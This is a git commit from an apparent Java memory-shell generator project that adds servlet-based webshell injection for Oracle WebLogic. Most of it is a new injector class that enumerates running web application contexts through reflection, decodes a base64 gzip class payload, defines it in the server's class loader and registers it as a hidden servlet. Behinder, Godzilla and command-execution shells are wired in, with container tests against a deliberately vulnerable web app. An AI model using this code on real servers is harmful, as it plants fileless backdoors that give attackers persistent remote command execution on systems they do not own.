feat: support weblogic servlet (resolved #5)

This commit is contained in:
ReaJason
2024-12-24 21:09:49 +08:00
parent 89472ceee1
commit ba2b74af66
8 changed files with 287 additions and 19 deletions
+5 -5
View File
@@ -44,11 +44,11 @@
| Listener | Listener | Filter | Filter | | Listener | Listener | Filter | Filter |
| | | Listener | Listener | | | | Listener | Listener |
| WebSphere7 ~ 9 | WebLogic 10 ~ 14 | | WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|------------------|--------------------| |------------------|-------------------------|
| Servlet | Filter | | Servlet | Servlet |
| Filter | Listener | | Filter | Filter |
| Listener | | | Listener | Listener |
| 宝兰德 BES | 东方通 TongWeb | 中创 InforSuite AS 9 ~ 10 | 金蝶 Apusic AS | | 宝兰德 BES | 东方通 TongWeb | 中创 InforSuite AS 9 ~ 10 | 金蝶 Apusic AS |
|---------|-------------|---------------------------|--------------| |---------|-------------|---------------------------|--------------|
@@ -2,13 +2,17 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener; import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.weblogic.command.CommandListener; import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector; import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector; import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.Map; import java.util.Map;
@@ -21,6 +25,7 @@ public class WebLogicShell extends AbstractShell {
@Override @Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() { protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of( return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class), Constants.FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class) Constants.LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
); );
@@ -29,6 +34,7 @@ public class WebLogicShell extends AbstractShell {
@Override @Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() { protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of( return Map.of(
Constants.SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class),
Constants.FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class), Constants.FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class) Constants.LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
); );
@@ -37,6 +43,7 @@ public class WebLogicShell extends AbstractShell {
@Override @Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() { protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of( return Map.of(
Constants.SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class),
Constants.FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class), Constants.FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class) Constants.LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
); );
@@ -0,0 +1,11 @@
services:
weblogic1036:
image: reajason/weblogic:10.3.6
container_name: weblogic1036
ports:
- "7001:7001"
- "5005:5005"
environment:
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
@@ -6,6 +6,7 @@ import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
@@ -36,6 +37,9 @@ public class WebLogic1036ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
@@ -45,12 +49,10 @@ public class WebLogic1036ContainerTest {
); );
} }
// @AfterAll @AfterAll
// static void tearDown() { static void tearDown() {
// String logs = container.getLogs(); String logs = container.getLogs();
// log.info(logs); }
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
// }
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
@@ -39,6 +39,9 @@ public class WebLogic12214ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
@@ -51,7 +54,6 @@ public class WebLogic12214ContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@@ -39,6 +39,9 @@ public class WebLogic14110ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
@@ -51,7 +54,6 @@ public class WebLogic14110ContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@@ -22,7 +22,6 @@ public class WebLogicFilterInjector {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
} }
@@ -153,9 +152,6 @@ public class WebLogicFilterInjector {
return obj; return obj;
} }
/**
* https://github.com/BeichenDream/GodzillaMemoryShellProject
*/
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
if (isInjected(context)) { if (isInjected(context)) {
@@ -164,10 +160,8 @@ public class WebLogicFilterInjector {
Object filterManager = invokeMethod(context, "getFilterManager", null, null); Object filterManager = invokeMethod(context, "getFilterManager", null, null);
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null); Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses"); Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
//或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
cachedClasses.put(getClassName(), filter.getClass()); cachedClasses.put(getClassName(), filter.getClass());
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}}); invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
//将filter置为第一位
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList"); List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
filterPatternList.add(0, currentMapping); filterPatternList.add(0, currentMapping);
@@ -0,0 +1,250 @@
package com.reajason.javaweb.memshell.weblogic.injector;
import javax.servlet.Servlet;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class WebLogicServletInjector {
static {
new WebLogicServletInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public WebLogicServletInjector() {
try {
Object[] contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object[] getContextsByMbean() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable ignored) {
}
try {
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
for (Object componentRuntime : childrenSet) {
try {
Object context = getFieldValue(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
int threadCount = threadGroup.activeCount();
Thread[] threads = new Thread[threadCount];
threadGroup.enumerate(threads);
for (int i = 0; i < threadCount; i++) {
Thread thread = threads[i];
if (thread != null) {
Object workEntry = getFieldValue(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFieldValue(connectionHandler, "request");
if (request != null) {
context = getFieldValue(request, "context");
}
}
if (context == null) {
context = getFieldValue(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
}
}
return webappContexts.toArray();
}
public static Object[] getContext() {
Set<Object> webappContexts = new HashSet<Object>();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable ignored) {
}
try {
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
} catch (Throwable ignored) {
}
return webappContexts.toArray();
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
}
return obj;
}
/**
* server/lib/weblogic.jar
* weblogic.servlet.internal.WebAppServletContext
*/
public void inject(Object context, Object servlet) throws Exception {
// weblogic.servlet.utils.URLMapping
Object servletMapping = invokeMethod(context, "getServletMapping", null, null);
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Class<?> servletStubImplClass = Class.forName("weblogic.servlet.internal.ServletStubImpl");
Object servletStub = null;
Constructor<?> servletStubImplConstructor = null;
try {
servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, Servlet.class, webAppServletContextClass);
servletStubImplConstructor.setAccessible(true);
servletStub = servletStubImplConstructor.newInstance(getClassName(), servlet, context);
} catch (NoSuchMethodException e) {
// 10.3.6
servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, String.class, webAppServletContextClass, Map.class);
servletStubImplConstructor.setAccessible(true);
servletStub = servletStubImplConstructor.newInstance(getClassName(), getClassName(), context, null);
}
Constructor<?> urlMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, servletStubImplClass);
urlMatchHelperConstructor.setAccessible(true);
Object urlMatchHelper = urlMatchHelperConstructor.newInstance(getUrlPattern(), servletStub);
Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()});
if (mapping == null) {
invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper});
System.out.println("servlet inject successful");
} else {
System.out.println("servlet already injected");
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = obj.getClass();
Method method = clazz.getDeclaredMethod(methodName, paramClazz);
method.setAccessible(true);
return method.invoke(obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
}